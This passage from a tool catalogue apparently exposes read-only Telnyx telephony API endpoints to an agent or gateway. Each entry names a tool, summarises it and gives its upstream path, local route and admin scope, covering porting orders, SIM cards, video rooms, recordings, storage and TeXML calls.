/api/v1/telnyx/porting_orders/{id}/additional_documents. Scopes: admin. telnyx_get_porting_orders_by_id_allowed_foc_windows (read) — Returns a list of allowed FOC dates for a porting order. [Porting Orders] via GET /porting_orders/{id}/allowed_foc_windows GET /api/v1/telnyx/porting_orders/{id}/allowed_foc_windows. Scopes: admin. telnyx_get_porting_orders_by_id_comments (read) — Returns a list of all comments of a porting order. [Porting Orders] via GET /porting_orders/{id}/comments GET /api/v1/telnyx/porting_orders/{id}/comments. Scopes: admin. telnyx_get_porting_orders_by_id_requirements (read) — Returns a list of all requirements based on country/number type for this porting order. [Porting Orders] via GET /porting_orders/{id}/requirements GET /api/v1/telnyx/porting_orders/{id}/requirements. Scopes: admin. telnyx_get_porting_orders_by_id_sub_request (read) — Retrieve the associated V1 sub_request_id and port_request_id [Porting Orders] via GET /porting_orders/{id}/sub_request GET /api/v1/telnyx/porting_orders/{id}/sub_request. Scopes: admin. telnyx_get_porting_orders_by_id_verification_codes (read) — Returns a list of verification codes for a porting order. [Porting Orders] via GET /porting_orders/{id}/verification_codes GET /api/v1/telnyx/porting_orders/{id}/verification_codes. Scopes: admin. telnyx_get_porting_orders_by_porting_order_id_action_requirements (read) — Returns a list of action requirements for a specific porting order. [Porting Orders] via GET /porting_orders/{porting_order_id}/action_requirements GET /api/v1/telnyx/porting_orders/{porting_order_id}/action_requirements. Scopes: admin. telnyx_get_porting_orders_by_porting_order_id_associated_phone_numbers (read) — Returns a list of all associated phone numbers for a porting order. Associated phone numbers are used for partial porting in GB to specify which phone numbers should be kept or disconnected. [Porting Orders] via GET /porting_orders/{porting_order_id}/associated_phone_numbers GET /api/v1/telnyx/porting_orders/{porting_order_id}/associated_phone_numbers. Scopes: admin. telnyx_get_porting_orders_by_porting_order_id_phone_number_blocks (read) — Returns a list of all phone number blocks of a porting order. [Porting Orders] via GET /porting_orders/{porting_order_id}/phone_number_blocks GET /api/v1/telnyx/porting_orders/{porting_order_id}/phone_number_blocks. Scopes: admin. telnyx_get_porting_orders_by_porting_order_id_phone_number_extensions (read) — Returns a list of all phone number extensions of a porting order. [Porting Orders] via GET /porting_orders/{porting_order_id}/phone_number_extensions GET /api/v1/telnyx/porting_orders/{porting_order_id}/phone_number_extensions. Scopes: admin. telnyx_get_porting_orders_exception_types (read) — Returns a list of all possible exception types for a porting order. [Porting Orders] via GET /porting_orders/exception_types GET /api/v1/telnyx/porting_orders/exception_types. Scopes: admin. telnyx_get_porting_orders_phone_number_configurations (read) — Returns a list of phone number configurations paginated. [Porting Orders] via GET /porting_orders/phone_number_configurations GET /api/v1/telnyx/porting_orders/phone_number_configurations. Scopes: admin. telnyx_get_porting_phone_numbers (read) — Returns a list of your porting phone numbers. [Porting Orders] via GET /porting_phone_numbers GET /api/v1/telnyx/porting_phone_numbers. Scopes: admin. telnyx_get_porting_reports (read) — List the reports generated about porting operations. [Porting Orders] via GET /porting/reports GET /api/v1/telnyx/porting/reports. Scopes: admin. telnyx_get_porting_reports_by_id (read) — Returns the details of a previously requested porting report, including its status and parameters. [Porting Orders] via GET /porting/reports/{id} GET /api/v1/telnyx/porting/reports/{id}. Scopes: admin. telnyx_get_porting_uk_carriers (read) — Returns the list of UK carriers available for porting, for use when preparing porting orders for UK numbers. [Porting Orders] via GET /porting/uk_carriers GET /api/v1/telnyx/porting/uk_carriers. Scopes: admin. telnyx_get_portouts (read) — Returns the portout requests according to filters [Number Portout] via GET /portouts GET /api/v1/telnyx/portouts. Scopes: admin. telnyx_get_portouts_by_id (read) — Returns the portout request based on the ID provided [Number Portout] via GET /portouts/{id} GET /api/v1/telnyx/portouts/{id}. Scopes: admin. telnyx_get_portouts_by_id_comments (read) — Returns a list of comments for a portout request. [Number Portout] via GET /portouts/{id}/comments GET /api/v1/telnyx/portouts/{id}/comments. Scopes: admin. telnyx_get_portouts_by_id_supporting_documents (read) — List every supporting documents for a portout request. [Number Portout] via GET /portouts/{id}/supporting_documents GET /api/v1/telnyx/portouts/{id}/supporting_documents. Scopes: admin. telnyx_get_portouts_events (read) — Returns a paginated list of port-out events on your account, such as status changes on port-out requests, with support for filtering. [Number Portout] via GET /portouts/events GET /api/v1/telnyx/portouts/events. Scopes: admin. telnyx_get_portouts_events_by_id (read) — Returns the details of a single port-out event, including its type and payload. [Number Portout] via GET /portouts/events/{id} GET /api/v1/telnyx/portouts/events/{id}. Scopes: admin. telnyx_get_portouts_rejections_by_portout_id (read) — Given a port-out ID, list rejection codes that are eligible for that port-out [Number Portout] via GET /portouts/rejections/{portout_id} GET /api/v1/telnyx/portouts/rejections/{portout_id}. Scopes: admin. telnyx_get_portouts_reports (read) — List the reports generated about port-out operations. [Number Portout] via GET /portouts/reports GET /api/v1/telnyx/portouts/reports. Scopes: admin. telnyx_get_portouts_reports_by_id (read) — Returns the details of a previously requested port-out report, including its status and parameters. [Number Portout] via GET /portouts/reports/{id} GET /api/v1/telnyx/portouts/reports/{id}. Scopes: admin. telnyx_get_pricing_products (read) — Returns the full product catalog with pagination. Each entry contains a slug, display name, and description. Use the slug to fetch per-product pricing via GET /pricing/products/{slug}. [Pricing] via GET /pricing/products GET /api/v1/telnyx/pricing/products. Scopes: admin. telnyx_get_pricing_products_by_slug (read) — Returns pricing entries for a single product. Most products return standard rate entries with fields like rate, unit, country_iso, direction, and tiers. Inference products return model-specific fields (model, input_rate, output_rate, cached_input_rate) with tiered pricing. Some products use rate decks (pricing_type: rate_deck) where rates are determined dynamically. [Pricing] via GET /pricing/products/{slug} GET /api/v1/telnyx/pricing/products/{slug}. Scopes: admin. telnyx_get_private_wireless_gateways (read) — Get all Private Wireless Gateways belonging to the user. [Private Wireless Gateways] via GET /private_wireless_gateways GET /api/v1/telnyx/private_wireless_gateways. Scopes: admin. telnyx_get_private_wireless_gateways_by_id (read) — Retrieve information about a Private Wireless Gateway. [Private Wireless Gateways] via GET /private_wireless_gateways/{id} GET /api/v1/telnyx/private_wireless_gateways/{id}. Scopes: admin. telnyx_get_pronunciation_dicts (read) — List all pronunciation dictionaries for the authenticated organization. Results are paginated using offset-based pagination. [Pronunciation Dictionaries] via GET /pronunciation_dicts GET /api/v1/telnyx/pronunciation_dicts. Scopes: admin. telnyx_get_pronunciation_dicts_by_id (read) — Retrieve a single pronunciation dictionary by ID. [Pronunciation Dictionaries] via GET /pronunciation_dicts/{id} GET /api/v1/telnyx/pronunciation_dicts/{id}. Scopes: admin. telnyx_get_public_internet_gateways (read) — Returns a paginated list of the public internet gateways on your account, with support for filtering. [Public Internet Gateways] via GET /public_internet_gateways GET /api/v1/telnyx/public_internet_gateways. Scopes: admin. telnyx_get_public_internet_gateways_by_id (read) — Returns the details of a single public internet gateway by its identifier. [Public Internet Gateways] via GET /public_internet_gateways/{id} GET /api/v1/telnyx/public_internet_gateways/{id}. Scopes: admin. telnyx_get_queues (read) — List all queues for the authenticated user. [Queue Commands] via GET /queues GET /api/v1/telnyx/queues. Scopes: admin. telnyx_get_queues_by_queue_name (read) — Returns the details of an existing call queue, including its current configuration. [Queue Commands] via GET /queues/{queue_name} GET /api/v1/telnyx/queues/{queue_name}. Scopes: admin. telnyx_get_queues_by_queue_name_calls (read) — Retrieve the list of calls in an existing queue [Queue Commands] via GET /queues/{queue_name}/calls GET /api/v1/telnyx/queues/{queue_name}/calls. Scopes: admin. telnyx_get_queues_by_queue_name_calls_by_call_control_id (read) — Retrieve an existing call from an existing queue [Queue Commands] via GET /queues/{queue_name}/calls/{call_control_id} GET /api/v1/telnyx/queues/{queue_name}/calls/{call_control_id}. Scopes: admin. telnyx_get_rcs_agents (read) — Lists RCS agents owned by the authenticated organization, optionally filtered by brand. [RCS Agents] via GET /rcs/agents GET /api/v1/telnyx/rcs/agents. Scopes: admin. telnyx_get_rcs_agents_by_id (read) — Retrieves an RCS agent, section statuses, test devices, carrier approvals, and provider capabilities. [RCS Agents] via GET /rcs/agents/{id} GET /api/v1/telnyx/rcs/agents/{id}. Scopes: admin. telnyx_get_rcs_agents_by_id_carrier_approvals (read) — Lists carrier approval records for an RCS agent. The provider may expose per-carrier, hub-level, or bot-level approval status. [RCS Agents] via GET /rcs/agents/{id}/carrier_approvals GET /api/v1/telnyx/rcs/agents/{id}/carrier_approvals. Scopes: admin. telnyx_get_rcs_agents_by_id_test_devices (read) — Lists test devices attached to an RCS agent. [RCS Agents] via GET /rcs/agents/{id}/test_devices GET /api/v1/telnyx/rcs/agents/{id}/test_devices. Scopes: admin. telnyx_get_rcs_brands (read) — Lists RCS brands owned by the authenticated organization. [RCS Brands] via GET /rcs/brands GET /api/v1/telnyx/rcs/brands. Scopes: admin. telnyx_get_rcs_brands_by_id (read) — Retrieves an RCS brand and its current lifecycle status. [RCS Brands] via GET /rcs/brands/{id} GET /api/v1/telnyx/rcs/brands/{id}. Scopes: admin. telnyx_get_recording_transcriptions (read) — Returns a list of your recording transcriptions. [Call Recordings] via GET /recording_transcriptions GET /api/v1/telnyx/recording_transcriptions. Scopes: admin. telnyx_get_recording_transcriptions_by_recording_transcription_id (read) — Retrieves the details of an existing recording transcription. [Call Recordings] via GET /recording_transcriptions/{recording_transcription_id} GET /api/v1/telnyx/recording_transcriptions/{recording_transcription_id}. Scopes: admin. telnyx_get_recordings (read) — Returns a paginated list of your call recordings, with support for filtering to locate specific recordings. [Call Recordings] via GET /recordings GET /api/v1/telnyx/recordings. Scopes: admin. telnyx_get_recordings_by_recording_id (read) — Retrieves the details of an existing call recording. [Call Recordings] via GET /recordings/{recording_id} GET /api/v1/telnyx/recordings/{recording_id}. Scopes: admin. telnyx_get_regions (read) — List all regions and the interfaces that region supports [Regions] via GET /regions GET /api/v1/telnyx/regions. Scopes: admin. telnyx_get_regulatory_requirements (read) — Returns regulatory requirements for number ordering, porting, or other supported actions. Results can be filtered by phone number, requirement group, country, number type, and action. [Regulatory Requirements] via GET /regulatory_requirements GET /api/v1/telnyx/regulatory_requirements. Scopes: admin. telnyx_get_reports_cdr_usage_reports_sync (read) — Generate and fetch voice usage report synchronously. This endpoint will both generate and fetch the voice report over a specified time period. No polling is necessary but the response may take up to a couple of minutes. [CDR Usage Reports] via GET /reports/cdr_usage_reports/sync GET /api/v1/telnyx/reports/cdr_usage_reports/sync. Scopes: admin. telnyx_get_reports_mdr_usage_reports (read) — Fetch all messaging usage reports. Usage reports are aggregated messaging data for specified time period and breakdown [MDR Usage Reports] via GET /reports/mdr_usage_reports GET /api/v1/telnyx/reports/mdr_usage_reports. Scopes: admin. telnyx_get_reports_mdr_usage_reports_by_id (read) — Fetch a single messaging usage report by id [MDR Usage Reports] via GET /reports/mdr_usage_reports/{id} GET /api/v1/telnyx/reports/mdr_usage_reports/{id}. Scopes: admin. telnyx_get_reports_mdr_usage_reports_sync (read) — Generate and fetch messaging usage report synchronously. This endpoint will both generate and fetch the messaging report over a specified time period. No polling is necessary but the response may take up to a couple of minutes. [MDR Usage Reports] via GET /reports/mdr_usage_reports/sync GET /api/v1/telnyx/reports/mdr_usage_reports/sync. Scopes: admin. telnyx_get_reports_mdrs (read) — Returns message detail records (MDRs) matching the provided criteria, such as date range, direction, status, and message type. [MDR Detail Reports] via GET /reports/mdrs GET /api/v1/telnyx/reports/mdrs. Scopes: admin. telnyx_get_reports_wdrs (read) — Returns wireless detail records (WDRs) matching the provided criteria, such as date range, SIM card, IMSI, or phone number, with pagination and sorting. [WDR Detail Reports] via GET /reports/wdrs GET /api/v1/telnyx/reports/wdrs. Scopes: admin. telnyx_get_reputation_numbers (read) — Convenience alias for GET /v2/enterprises/{enterprise_id}/reputation/numbers that returns numbers across every enterprise you own. Useful when you don't want to look up the enterprise id first. [Reputation] via GET /reputation/numbers GET /api/v1/telnyx/reputation/numbers. Scopes: admin. telnyx_get_reputation_numbers_by_phone_number (read) — Convenience alias for GET /v2/enterprises/{enterprise_id}/reputation/numbers/{phone_number}. [Reputation] via GET /reputation/numbers/{phone_number} GET /api/v1/telnyx/reputation/numbers/{phone_number}. Scopes: admin. telnyx_get_requirement_groups (read) — Returns regulatory requirement groups for the account. Results can be filtered by country, number type, action, approval status, and customer reference. [Requirement Groups] via GET /requirement_groups GET /api/v1/telnyx/requirement_groups. Scopes: admin. telnyx_get_requirement_groups_by_id (read) — Returns the regulatory requirement group identified by id, including its requirement values and current approval status. [Requirement Groups] via GET /requirement_groups/{id} GET /api/v1/telnyx/requirement_groups/{id}. Scopes: admin. telnyx_get_requirement_types (read) — List all requirement types ordered by created_at descending [Requirement Types] via GET /requirement_types GET /api/v1/telnyx/requirement_types. Scopes: admin. telnyx_get_requirement_types_by_id (read) — Returns the details of a single requirement type by its identifier, describing a kind of documentation needed for regulatory purposes. [Requirement Types] via GET /requirement_types/{id} GET /api/v1/telnyx/requirement_types/{id}. Scopes: admin. telnyx_get_requirements (read) — List all requirements with filtering, sorting, and pagination [Requirements] via GET /requirements GET /api/v1/telnyx/requirements. Scopes: admin. telnyx_get_requirements_by_id (read) — Returns a single document requirement record by its identifier, describing the documentation needed for number-related actions. A specific requirement version can be requested. [Requirements] via GET /requirements/{id} GET /api/v1/telnyx/requirements/{id}. Scopes: admin. telnyx_get_room_compositions (read) — Returns a paginated list of room compositions. Filter compositions by creation date, room session, or processing status. [Room Compositions] via GET /room_compositions GET /api/v1/telnyx/room_compositions. Scopes: admin. telnyx_get_room_compositions_by_room_composition_id (read) — Returns the composition identified by room_composition_id, including its room and session, processing status, media details, video layout, lifecycle timestamps, and download URL. [Room Compositions] via GET /room_compositions/{room_composition_id} GET /api/v1/telnyx/room_compositions/{room_composition_id}. Scopes: admin. telnyx_get_room_participants (read) — Returns a paginated list of room participants across sessions. Filter participants by session, join, update, or leave date and by participant context. [Room Participants] via GET /room_participants GET /api/v1/telnyx/room_participants. Scopes: admin. telnyx_get_room_participants_by_room_participant_id (read) — Returns the participant identified by room_participant_id, including its session, context, and join, update, and leave timestamps. [Room Participants] via GET /room_participants/{room_participant_id} GET /api/v1/telnyx/room_participants/{room_participant_id}. Scopes: admin. telnyx_get_room_recordings (read) — Returns a paginated list of room recordings. Filter recordings by room, session, participant, recording type, status, duration, or start and end dates. [Room Recordings] via GET /room_recordings GET /api/v1/telnyx/room_recordings. Scopes: admin. telnyx_get_room_recordings_by_room_recording_id (read) — Returns the recording identified by room_recording_id, including its room, session, participant, status, media details, lifecycle timestamps, and download URL. [Room Recordings] via GET /room_recordings/{room_recording_id} GET /api/v1/telnyx/room_recordings/{room_recording_id}. Scopes: admin. telnyx_get_room_sessions (read) — Returns a paginated list of room sessions across the account. Filter sessions by room, creation, update, or end date and active status, and use include_participants to include participant records. [Room Sessions] via GET /room_sessions GET /api/v1/telnyx/room_sessions. Scopes: admin. telnyx_get_room_sessions_by_room_session_id (read) — Returns the room session identified by room_session_id, including its room, active status, and lifecycle timestamps. Use include_participants to include its participant records. [Room Sessions] via GET /room_sessions/{room_session_id} GET /api/v1/telnyx/room_sessions/{room_session_id}. Scopes: admin. telnyx_get_room_sessions_by_room_session_id_participants (read) — Returns a paginated list of participants for the specified room session. Filter participants by join, update, or leave date and by participant context. [Room Sessions] via GET /room_sessions/{room_session_id}/participants GET /api/v1/telnyx/room_sessions/{room_session_id}/participants. Scopes: admin. telnyx_get_rooms (read) — Returns a paginated list of rooms. Filter the results by creation or update date and unique name, and use include_sessions to include each room’s sessions. [Rooms] via GET /rooms GET /api/v1/telnyx/rooms. Scopes: admin. telnyx_get_rooms_by_room_id (read) — Returns the room identified by room_id, including its participant limit, recording and webhook configuration, and active session identifier. Use include_sessions to include its sessions. [Rooms] via GET /rooms/{room_id} GET /api/v1/telnyx/rooms/{room_id}. Scopes: admin. telnyx_get_rooms_by_room_id_sessions (read) — Returns a paginated list of sessions for the specified room. Filter sessions by creation, update, or end date and active status, and use include_participants to include participant records. [Rooms] via GET /rooms/{room_id}/sessions GET /api/v1/telnyx/rooms/{room_id}/sessions. Scopes: admin. telnyx_get_session_analysis_by_record_type_by_event_id (read) — Retrieves a full session analysis tree for a given event, including costs, child events, and product linkages. [Session Analysis] via GET /session_analysis/{record_type}/{event_id} GET /api/v1/telnyx/session_analysis/{record_type}/{event_id}. Scopes: admin. telnyx_get_session_analysis_metadata (read) — Returns all available record types and supported query parameters for session analysis. [Session Analysis] via GET /session_analysis/metadata GET /api/v1/telnyx/session_analysis/metadata. Scopes: admin. telnyx_get_session_analysis_metadata_by_record_type (read) — Returns detailed metadata for a specific record type, including relationships and examples. [Session Analysis] via GET /session_analysis/metadata/{record_type} GET /api/v1/telnyx/session_analysis/metadata/{record_type}. Scopes: admin. telnyx_get_seti_black_box_test_results (read) — Returns the results of the various black box tests [SETI Observability] via GET /seti/black_box_test_results GET /api/v1/telnyx/seti/black_box_test_results. Scopes: admin. telnyx_get_short_codes (read) — Returns short codes owned by the authenticated account. Apply the documented filters and pagination parameters to narrow the result set. [Short Codes] via GET /short_codes GET /api/v1/telnyx/short_codes. Scopes: admin. telnyx_get_short_codes_by_id (read) — Returns the messaging configuration and assignment details for the specified short code. [Short Codes] via GET /short_codes/{id} GET /api/v1/telnyx/short_codes/{id}. Scopes: admin. telnyx_get_sim_card_actions (read) — This API lists a paginated collection of SIM card actions. It enables exploring a collection of existing asynchronous operations using specific filters. [SIM Card Actions] via GET /sim_card_actions GET /api/v1/telnyx/sim_card_actions. Scopes: admin. telnyx_get_sim_card_actions_by_id (read) — This API fetches detailed information about a SIM card action to follow-up on an existing asynchronous operation. [SIM Card Actions] via GET /sim_card_actions/{id} GET /api/v1/telnyx/sim_card_actions/{id}. Scopes: admin. telnyx_get_sim_card_data_usage_notifications (read) — Lists a paginated collection of SIM card data usage notifications. It enables exploring the collection using specific filters. [SIM Cards] via GET /sim_card_data_usage_notifications GET /api/v1/telnyx/sim_card_data_usage_notifications. Scopes: admin. telnyx_get_sim_card_data_usage_notifications_by_id (read) — Get a single SIM Card Data Usage Notification. [SIM Cards] via GET /sim_card_data_usage_notifications/{id} GET /api/v1/telnyx/sim_card_data_usage_notifications/{id}. Scopes: admin. telnyx_get_sim_card_group_actions (read) — This API allows listing a paginated collection a SIM card group actions. It allows to explore a collection of existing asynchronous operation using specific filters. [SIM Card Group Actions] via GET /sim_card_group_actions GET /api/v1/telnyx/sim_card_group_actions. Scopes: admin. telnyx_get_sim_card_group_actions_by_id (read) — This API allows fetching detailed information about a SIM card group action resource to make follow-ups in an existing asynchronous operation. [SIM Card Group Actions] via GET /sim_card_group_actions/{id} GET /api/v1/telnyx/sim_card_group_actions/{id}. Scopes: admin. telnyx_get_sim_card_groups (read) — Get all SIM card groups belonging to the user that match the given filters. [SIM Card Groups] via GET /sim_card_groups GET /api/v1/telnyx/sim_card_groups. Scopes: admin. telnyx_get_sim_card_groups_by_id (read) — Returns the details regarding a specific SIM card group [SIM Card Groups] via GET /sim_card_groups/{id} GET /api/v1/telnyx/sim_card_groups/{id}. Scopes: admin. telnyx_get_sim_card_orders (read) — Get all SIM card orders according to filters. [SIM Card Orders] via GET /sim_card_orders GET /api/v1/telnyx/sim_card_orders. Scopes: admin. telnyx_get_sim_card_orders_by_id (read) — Returns the details of a single SIM card order by its ID, including its status. [SIM Card Orders] via GET /sim_card_orders/{id} GET /api/v1/telnyx/sim_card_orders/{id}. Scopes: admin. telnyx_get_sim_cards (read) — Get all SIM cards belonging to the user that match the given filters. [SIM Cards] via GET /sim_cards GET /api/v1/telnyx/sim_cards. Scopes: admin. telnyx_get_sim_cards_by_id (read) — Returns the details regarding a specific SIM card. [SIM Cards] via GET /sim_cards/{id} GET /api/v1/telnyx/sim_cards/{id}. Scopes: admin. telnyx_get_sim_cards_by_id_activation_code (read) — It returns the activation code for an eSIM. This API is only available for eSIMs. If the given SIM is a physical SIM card, or has already been installed, an error will be returned. [SIM Cards] via GET /sim_cards/{id}/activation_code GET /api/v1/telnyx/sim_cards/{id}/activation_code. Scopes: admin. telnyx_get_sim_cards_by_id_device_details (read) — It returns the device details where a SIM card is currently being used. [SIM Cards] via GET /sim_cards/{id}/device_details GET /api/v1/telnyx/sim_cards/{id}/device_details. Scopes: admin. telnyx_get_sim_cards_by_id_public_ip (read) — It returns the public IP requested for a SIM card. [SIM Cards] via GET /sim_cards/{id}/public_ip GET /api/v1/telnyx/sim_cards/{id}/public_ip. Scopes: admin. telnyx_get_sim_cards_by_id_wireless_connectivity_logs (read) — This API allows listing a paginated collection of Wireless Connectivity Logs associated with a SIM Card, for troubleshooting purposes. [SIM Cards] via GET /sim_cards/{id}/wireless_connectivity_logs GET /api/v1/telnyx/sim_cards/{id}/wireless_connectivity_logs. Scopes: admin. telnyx_get_sip_registration_status (read) — Returns the live SIP registration status for a Telnyx endpoint: whether it is currently registered, when the current registration expires, and the last response Telnyx received from the registrar. The endpoint supports three credential types, selected with the credential_type query parameter. Each type is keyed by a different identifier: | credential_type | Keyed by | Use case | | --- | --- | --- | | uac_external_credential | connection_id | A UAC (SIP attach) connection that registers to an external PBX. | | telephony_credential | username | An ephemeral, one-time-use telephony credential. | | sip_credential_connection | username | A traditional SIP credential connection that registers directly to Telnyx. | The authenticated account is taken from your API key; you can only read the registration status of connections and credentials your account owns. [UAC Connections] via GET /sip_registration_status GET /api/v1/telnyx/sip_registration_status. Scopes: admin. telnyx_get_siprec_connectors_by_connector_name (read) — Returns details of a stored SIPREC connector. [SIPREC Connectors] via GET /siprec_connectors/{connector_name} GET /api/v1/telnyx/siprec_connectors/{connector_name}. Scopes: admin. telnyx_get_speech_to_text_providers (read) — Retrieve the canonical list of supported speech-to-text providers, models, accepted language codes, and the service types each model supports. Service types: * streaming — standalone WebSocket transcription via /speech-to-text/transcription. * file_based — file-based transcription via /ai/audio/transcriptions. * in_call — live call transcription via Call Control transcription_start. * ai_assistant — STT configured on a Call Control AI Assistant via voice-assistant TranscriptionConfig (covers both live-streaming and non-streaming/batch models). Use this endpoint to discover which (provider, model) combinations are available for the surface you need, and which language codes each accepts. auto in a languages array indicates the provider performs language detection. [Speech To Text Capabilities] via GET /speech-to-text/providers GET /api/v1/telnyx/speech-to-text/providers. Scopes: admin. telnyx_get_storage_buckets_by_bucketname_ssl_certificate (read) — Returns the stored certificate detail of a bucket, if applicable. [Bucket SSL Certificate] via GET /storage/buckets/{bucketName}/ssl_certificate GET /api/v1/telnyx/storage/buckets/{bucketName}/ssl_certificate. Scopes: admin. telnyx_get_storage_buckets_by_bucketname_usage_api (read) — Returns the detail on API usage on a bucket of a particular time period, group by method category. [Bucket Usage] via GET /storage/buckets/{bucketName}/usage/api GET /api/v1/telnyx/storage/buckets/{bucketName}/usage/api. Scopes: admin. telnyx_get_storage_buckets_by_bucketname_usage_storage (read) — Returns the amount of storage space and number of files a bucket takes up. [Bucket Usage] via GET /storage/buckets/{bucketName}/usage/storage GET /api/v1/telnyx/storage/buckets/{bucketName}/usage/storage. Scopes: admin. telnyx_get_storage_cloudfs (read) — Lists the CloudFS filesystems for the authenticated user's organization. Results use cursor-based pagination: fetch the next page by passing meta.cursors.after as page[after], or follow the meta.next URL. [cloudfs filesystems] via GET /storage/cloudfs GET /api/v1/telnyx/storage/cloudfs. Scopes: admin. telnyx_get_storage_cloudfs_by_id (read) — Retrieves a CloudFS filesystem by its ID. The returned meta_url omits the credential — the metadata token is only ever returned by create and rotate-meta-token. A filesystem whose last lifecycle action failed includes a customer-safe error message. [cloudfs filesystems] via GET /storage/cloudfs/{id} GET /api/v1/telnyx/storage/cloudfs/{id}. Scopes: admin. telnyx_get_storage_kvs (read) — Lists the KV namespaces for the authenticated user's organization. Results use page-based pagination (page[number]/page[size]). [kv namespaces] via GET /storage/kvs GET /api/v1/telnyx/storage/kvs. Scopes: admin. telnyx_get_storage_kvs_by_id (read) — Retrieves a KV namespace by its ID, including its provisioning status. [kv namespaces] via GET /storage/kvs/{id} GET /api/v1/telnyx/storage/kvs/{id}. Scopes: admin. telnyx_get_storage_kvs_by_id_keys (read) — Lists the keys in a namespace. Returns key names and metadata only, never values. Results are paginated with limit and an opaque cursor. [kv keys] via GET /storage/kvs/{id}/keys GET /api/v1/telnyx/storage/kvs/{id}/keys. Scopes: admin. telnyx_get_storage_migration_source_coverage (read) — List the external storage providers and regions supported as migration sources. [Data Migration] via GET /storage/migration_source_coverage GET /api/v1/telnyx/storage/migration_source_coverage. Scopes: admin. telnyx_get_storage_migration_sources (read) — List the migration sources configured on your account. A migration source is an external storage bucket from which data can be migrated into Telnyx Cloud Storage. [Data Migration] via GET /storage/migration_sources GET /api/v1/telnyx/storage/migration_sources. Scopes: admin. telnyx_get_storage_migration_sources_by_id (read) — Retrieve the details of a specific migration source. [Data Migration] via GET /storage/migration_sources/{id} GET /api/v1/telnyx/storage/migration_sources/{id}. Scopes: admin. telnyx_get_storage_migrations (read) — Retrieve a list of the storage migrations on your account. [Data Migration] via GET /storage/migrations GET /api/v1/telnyx/storage/migrations. Scopes: admin. telnyx_get_storage_migrations_by_id (read) — Retrieve the details and status of a specific storage migration. [Data Migration] via GET /storage/migrations/{id} GET /api/v1/telnyx/storage/migrations/{id}. Scopes: admin. telnyx_get_storage_sqldbs (read) — Lists the SQL databases for the authenticated user's organization. Results use page-based pagination (page[number]/page[size]) and can be filtered and sorted. [sql databases] via GET /storage/sqldbs GET /api/v1/telnyx/storage/sqldbs. Scopes: admin. telnyx_get_storage_sqldbs_by_id (read) — Retrieves a SQL database by its ID, including its provisioning status. [sql databases] via GET /storage/sqldbs/{id} GET /api/v1/telnyx/storage/sqldbs/{id}. Scopes: admin. telnyx_get_sub_number_orders (read) — Get a paginated list of sub number orders. [Phone Number Orders] via GET /sub_number_orders GET /api/v1/telnyx/sub_number_orders. Scopes: admin. telnyx_get_sub_number_orders_by_sub_number_order_id (read) — Returns the details of an existing sub number order, with support for filtering. [Phone Number Orders] via GET /sub_number_orders/{sub_number_order_id} GET /api/v1/telnyx/sub_number_orders/{sub_number_order_id}. Scopes: admin. telnyx_get_sub_number_orders_report_by_report_id (read) — Get the status and details of a sub number orders report. [Phone Number Orders] via GET /sub_number_orders_report/{report_id} GET /api/v1/telnyx/sub_number_orders_report/{report_id}. Scopes: admin. telnyx_get_sub_number_orders_report_by_report_id_download (read) — Download the CSV file for a completed sub number orders report. The report status must be 'success' before the file can be downloaded. [Phone Number Orders] via GET /sub_number_orders_report/{report_id}/download GET /api/v1/telnyx/sub_number_orders_report/{report_id}/download. Scopes: admin. telnyx_get_telephony_credentials (read) — Returns a paginated list of the on-demand telephony credentials on your account, with support for filtering. [Credentials] via GET /telephony_credentials GET /api/v1/telnyx/telephony_credentials. Scopes: admin. telnyx_get_telephony_credentials_by_id (read) — Get the details of an existing On-demand Credential. [Credentials] via GET /telephony_credentials/{id} GET /api/v1/telnyx/telephony_credentials/{id}. Scopes: admin. telnyx_get_terms_of_service_agreements (read) — Returns the Terms of Service agreements the authenticated user has on file. Each entry records the version agreed to and when. Most users only have one agreement per product, but if the ToS is updated and the user re-agrees a new entry is added. Results are paginated with the standard page[number] / page[size] parameters; the response uses the standard {data, meta} JSON:API envelope. By default this returns agreements for all products the user has agreed to. Pass the product_type query parameter to scope the result to a single product. [Terms of Service] via GET /terms_of_service/agreements GET /api/v1/telnyx/terms_of_service/agreements. Scopes: admin. telnyx_get_terms_of_service_agreements_by_agreement_id (read) — Retrieve a single ToS agreement record. Returns 404 if the agreement does not exist or does not belong to the authenticated user. [Terms of Service] via GET /terms_of_service/agreements/{agreement_id} GET /api/v1/telnyx/terms_of_service/agreements/{agreement_id}. Scopes: admin. telnyx_get_terms_of_service_info (read) — Returns the available Terms of Service agreements (product, current version, terms URL, effective date). Omit product_type to return all products; pass it to scope to one. [Terms of Service] via GET /terms_of_service/info GET /api/v1/telnyx/terms_of_service/info. Scopes: admin. telnyx_get_terms_of_service_status (read) — Returns whether the authenticated user has agreed to the current Terms of Service for the product given by product_type. Used during onboarding to decide whether to prompt the user with the ToS dialog before continuing. agreement_required: true means the user has not yet agreed (or has agreed to an outdated version) and must agree before using that product's endpoints. [Terms of Service] via GET /terms_of_service/status GET /api/v1/telnyx/terms_of_service/status. Scopes: admin. telnyx_get_texml_accounts_by_account_sid_calls (read) — Returns multiple call resouces for an account. This endpoint is eventually consistent. [TeXML REST Commands] via GET /texml/Accounts/{account_sid}/Calls GET /api/v1/telnyx/texml/Accounts/{account_sid}/Calls. Scopes: admin. telnyx_get_texml_accounts_by_account_sid_calls_by_call_sid (read) — Returns an individual call identified by its CallSid. This endpoint is eventually consistent. [TeXML REST Commands] via GET /texml/Accounts/{account_sid}/Calls/{call_sid} GET /api/v1/telnyx/texml/Accounts/{account_sid}/Calls/{call_sid}. Scopes: admin. telnyx_get_texml_accounts_by_account_sid_calls_by_call_sid_recordings_json (read) — Returns recordings for a call identified by call_sid. [TeXML REST Commands] via GET /texml/Accounts/{account_sid}/Calls/{call_sid}/Recordings.json GET /api/v1/telnyx/texml/Accounts/{account_sid}/Calls/{call_sid}/Recordings.json. Scopes: admin. telnyx_get_texml_accounts_by_account_sid_conferences (read) — Returns a paginated list of conference resources for the account, with support for filtering by friendly name, status, and creation or update dates. [TeXML REST Commands] via GET /texml/Accounts/{account_sid}/Conferences GET /api/v1/telnyx/texml/Accounts/{account_sid}/Conferences. Scopes: admin. telnyx_get_texml_accounts_by_account_sid_conferences_by_conference_sid (read) — Returns a single conference resource for the account by its ConferenceSid. [TeXML REST Commands] via GET /texml/Accounts/{account_sid}/Conferences/{conference_sid} GET /api/v1/telnyx/texml/Accounts/{account_sid}/Conferences/{conference_sid}. Scopes: admin. telnyx_get_texml_accounts_by_account_sid_conferences_by_conference_sid_participants (read) — Returns the list of participants currently in the specified conference. [TeXML REST Commands] via GET /texml/Accounts/{account_sid}/Conferences/{conference_sid}/Participants GET /api/v1/telnyx/texml/Accounts/{account_sid}/Conferences/{conference_sid}/Participants. Scopes: admin. 